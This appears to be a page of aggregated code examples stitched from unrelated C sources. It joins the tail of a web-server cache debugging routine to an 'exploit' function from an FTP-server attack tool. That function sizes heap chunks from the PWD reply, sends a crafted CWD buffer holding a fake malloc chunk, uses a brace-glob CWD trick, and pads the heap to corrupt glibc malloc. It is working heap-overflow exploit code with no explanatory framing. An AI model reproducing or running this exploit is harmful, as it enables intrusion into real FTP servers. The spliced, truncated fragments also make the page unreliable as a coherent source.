	len = util_sprintf(buf, XP_GetClientStr(DBT_cacheHitRatioDDFPNPN_),
		cache->cache_hits, cache->cache_lookups, 
		(cache->cache_lookups > 0)?
		((cache->cache_hits)/(cache->cache_lookups)):0.0);
	net_write(fd, buf, len);
	len = util_sprintf(buf, XP_GetClientStr(DBT_cacheSizeDDPNPN_),
		cache->cache_size, cache->max_size);
	net_write(fd, buf, len);
	len = util_sprintf(buf, XP_GetClientStr(DBT_hashTableSizeDPNPN_),
		cache->hash_size);
	net_write(fd, buf, len);
	len = util_sprintf(buf, XP_GetClientStr(DBT_mruDPNlruDPN_),
                cache->mru_head, cache->lru_head);
        net_write(fd, buf, len);

	/* Create an HTML table */
	len = util_sprintf(buf, XP_GetClientStr(DBT_UlTableBorder4ThBucketThThAddres_));
	net_write(fd, buf, len);

	for (index = 0; index < cache->hash_size; index++) {
		if (cache->table[index]) {
			for (ptr = cache->table[index]; ptr; ptr = ptr->next) {

				len = util_snprintf(buf, MAX_DEBUG_LINE, "\
<tr align=right> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> \
<td>%d</td> <td>",
					index, ptr, ptr->key,ptr->access_count, 
					ptr->delete_pending, ptr->next, 
					ptr->lru, ptr->mru);

				net_write(fd, buf, len);

				(void)ptr->fn_list->print_fn(ptr->data, fd);

				len = util_sprintf(buf, "</td></tr>\n");
				net_write(fd, buf, len);

			}
		}
	}

	len = util_sprintf(buf, "</TABLE></UL>\n");
	net_write(fd, buf, len);
	crit_exit(cache->lock);
	
#endif
	return REQ_PROCEED;
}
Esempio n. 30
0
void
exploit (int fd, tgt_type *tgt)
{
        unsigned long int       dir_chunk_size,
                                bridge_dist,
                                padchunk_size,
                                fakechunk_size,
                                pad_before;
        unsigned char *         dl;     /* dirlength */

        unsigned char           xpbuf[512 + 64];


        /* figure out home directory length
         */
        net_write (fd, "PWD\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");

        dl = strchr (xpbuf, '"');
        if (dl == NULL || strchr (dl + 1, '"') == NULL) {
                fprintf (stderr, "faulty PWD reply: %s\n", xpbuf);

                exit (EXIT_FAILURE);
        }

        dir_chunk_size = 0;
        for (dl += 1 ; *dl != '"' ; ++dl)
                dir_chunk_size += 1;

        if (verbose)
                printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf);

        /* compute chunk size from it (needed later)
         */
        dir_chunk_size += 3;    /* ~/ + NUL byte */
        dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
        if (debugmode)
                printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size);


        /* send preparation buffer to store the fakechunk in the end of
         * the malloc buffer allocated from within the parser ($1)
         */
        printf ("# 2. sending bigbuf + fakechunk\n");
        xp_build (tgt, xpbuf, 500 - strlen ("LIST "));
        if (verbose)
                hexdump ("xpbuf", xpbuf, strlen (xpbuf));

        ftp_escape (xpbuf, sizeof (xpbuf));
        net_write (fd, "CWD %s\n", xpbuf);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");


        /* synnergy.net uberleet method (thank you very much guys !)
         */
        net_write (fd, "CWD ~/{.,.,.,.}\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

        /* now, we flush the last-used-chunk marker in glibc malloc code. else
         * we might land in a previously used bigger chunk, but we need a
         * sequential order. "CWD ." will allocate a two byte chunk, which will
         * be reused on any later small malloc.
         */
        net_write (fd, "CWD .\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");


        /* cause chunk with padding size
         */
        pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) +
                        dir_chunk_size - 0x08;
        xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));

        /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
        bridge_dist = 0x10 + 4 * dir_chunk_size;
        if (debugmode)
                printf ("bridge_dist = 0x%08lx\n", bridge_dist);

        /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
        padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
        if (debugmode)
                printf ("padchunk_size = 0x%08lx\n", padchunk_size);

        /* +4 = this_size field itself */
        fakechunk_size = CHUNK_POS + 4;
        fakechunk_size -= pad_before;
        fakechunk_size += 0x04; /* account for prev_size, too */
        fakechunk_size |= 0x1;  /* set PREV_INUSE */

        if (debugmode)
                printf ("fakechunk_size = 0x%08lx\n", fakechunk_size);
        xp_buildsize (fd, fakechunk_size, 0x10);

        /* pad down to the minimum possible size in 8 byte alignment
         */
        if (verbose)
                printf ("\npadchunk_size = 0x%08lx\n==> %lu\n",
                        padchunk_size, padchunk_size - 8 - 1);
        xp_gapfill (fd, 1, padchunk_size - 8 - 1);

        if (debugmode) {
                printf ("press enter\n");
                getchar ();
        }

        return;
}